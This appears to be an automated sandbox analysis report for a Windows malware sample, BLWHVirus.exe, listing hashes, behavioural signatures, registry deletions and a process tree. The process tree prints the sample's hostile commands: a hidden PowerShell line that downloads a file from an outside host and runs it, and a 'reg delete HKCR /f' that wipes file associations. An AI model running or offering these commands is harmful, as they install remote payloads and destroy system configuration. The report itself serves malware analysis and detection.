Analysis
- max time kernel
42s - max time network
116s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
02/10/2026, 07:05
Static task
static1
Behavioral task
behavioral1
Sample
BLWHVirus.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
BLWHVirus.exe
Resource
win11ltsc2024-20260911-en
General
- Target BLWHVirus.exe
- Size 36KB
- Sample261002-hwkbdaxtbv
- SHA256 070d1b31423de6618d532cdad8f6dc1532dc9f8ad8c19a1c5fab0966310cdfda
- MD5 71784789bb50a8aaef60fdc3716cfceb
- SHA1 d91294973d6a3924e0fab7c3399cd7ca313718c8
- SHA512 817a3e16eb5ea4c18a94f77b7975865604272df713bdab2c79f2ab9248078a98a3bd5fc969c2006052f6c007d5e9e3b9d6a8a1171ece9137920422ac2af11e13
- SSDEEP 384:0XvNjg78Clrz+jiAGNwcnDIwm6bUCoA60qRo+W4dZv65/VVdVp9t0REzieZw6EwC:0Xvxg7W8ncR/V65xFnJ9CKT14
- TLSH T163F21989AFD98433C38EAAFD49A316624730E1674113E38E54CC91F62AD73968D4D39F
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 5872 powershell.exe 3 5872 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5872 powershell.exe - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Modifies system executable filetype association 2 TTPs 16 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers\Compatibility reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\{8895b1c6-b41f-4c1c-a562-0d564250836f} reg.exe - Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
ioc Process \??\F:\ powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3744 cmd.exe - Modifies registry class 64 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{75D01070-1234-44E9-82F6-DB5B39A47C13}\Verb reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0013-0001-0029-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0014-0002-0023-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0058-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0152-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.dctxc reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.wmp reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0002-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0121-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.shtm reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00030002-0000-0000-C000-000000000046}\ProgID reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{083863F1-70DE-11D0-BD40-00A0C911CE86}\Instance\{D51BD5A5-7548-11CF-A520-0080C77EF58A} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0157-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CID.Local\3c66da01-ec20-4c89-a182-241f4a9a41c9\CustomProperties\LOG\Path reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020812-0000-0000-C000-000000000046}\LocalServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020833-0000-0000-C000-000000000046}\Conversion reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0006F04A-0000-0000-C000-000000000046}\Control reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\VersionIndependentProgID reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0056-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0359-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AppX0jr688mrddhm2gsn5y1q8jpx5tfsxk7s\Shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AppXc9bt84rtp5qvmzkascgmn4pfe2g3hxeg\Shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0002E18B-0000-0000-C000-000000000046}\InprocServer32\15.0.0.0 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0013-0001-0008-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0014-0000-0003-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0015-0000-0012-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0354-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.wpl reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0006F04D-0000-0000-C000-000000000046}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4C599241-6926-101B-9992-00000B65C6F9}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0058-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0148-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0294-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0155-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0227-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.rtf reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\bootstrap.vsto\CurVer reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020906-0000-0000-C000-000000000046}\Insertable reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0015-0000-0019-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0237-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AudioVBScript\CurVer reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020810-0000-0000-C000-000000000046} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0013-0001-0088-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0027-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0122-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0059-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0060-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0102-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\OpenWithProgids reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CDC7D25-5AA3-4DC4-8E0C-91524280F806}\LocalServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0117-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0096-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0362-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0061-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.hxd\OpenWithProgIDs reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\PersistentHandler reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0015-0000-0003-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0015-0000-0010-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0077-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0103-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0314-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0041-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0006F051-0000-0000-C000-000000000046}\TypeLib reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5E90CC8B-E402-4350-82D7-996E92010608}\ToolboxBitmap32 reg.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 5872 powershell.exe 5872 powershell.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 3292 BLWHVirus.exe Token: SeDebugPrivilege 3292 BLWHVirus.exe Token: 33 2028 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 2028 AUDIODG.EXE Token: SeDebugPrivilege 5872 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3292 wrote to memory of 5872 3292 BLWHVirus.exe 91 PID 3292 wrote to memory of 3744 3292 BLWHVirus.exe 94 PID 3744 wrote to memory of 3576 3744 cmd.exe 96 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\BLWHVirus.exe"C:\Users\Admin\AppData\Local\Temp\BLWHVirus.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3292 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5872
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k reg delete HKCR /f2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3744 -
C:\Windows\system32\reg.exereg delete HKCR /f3⤵
- Modifies system executable filetype association
- Modifies registry class
PID:3576
-
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004E0 0x00000000000004E81⤵
- Suspicious use of AdjustPrivilegeToken
PID:2028
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Persistence
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Privilege Escalation
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1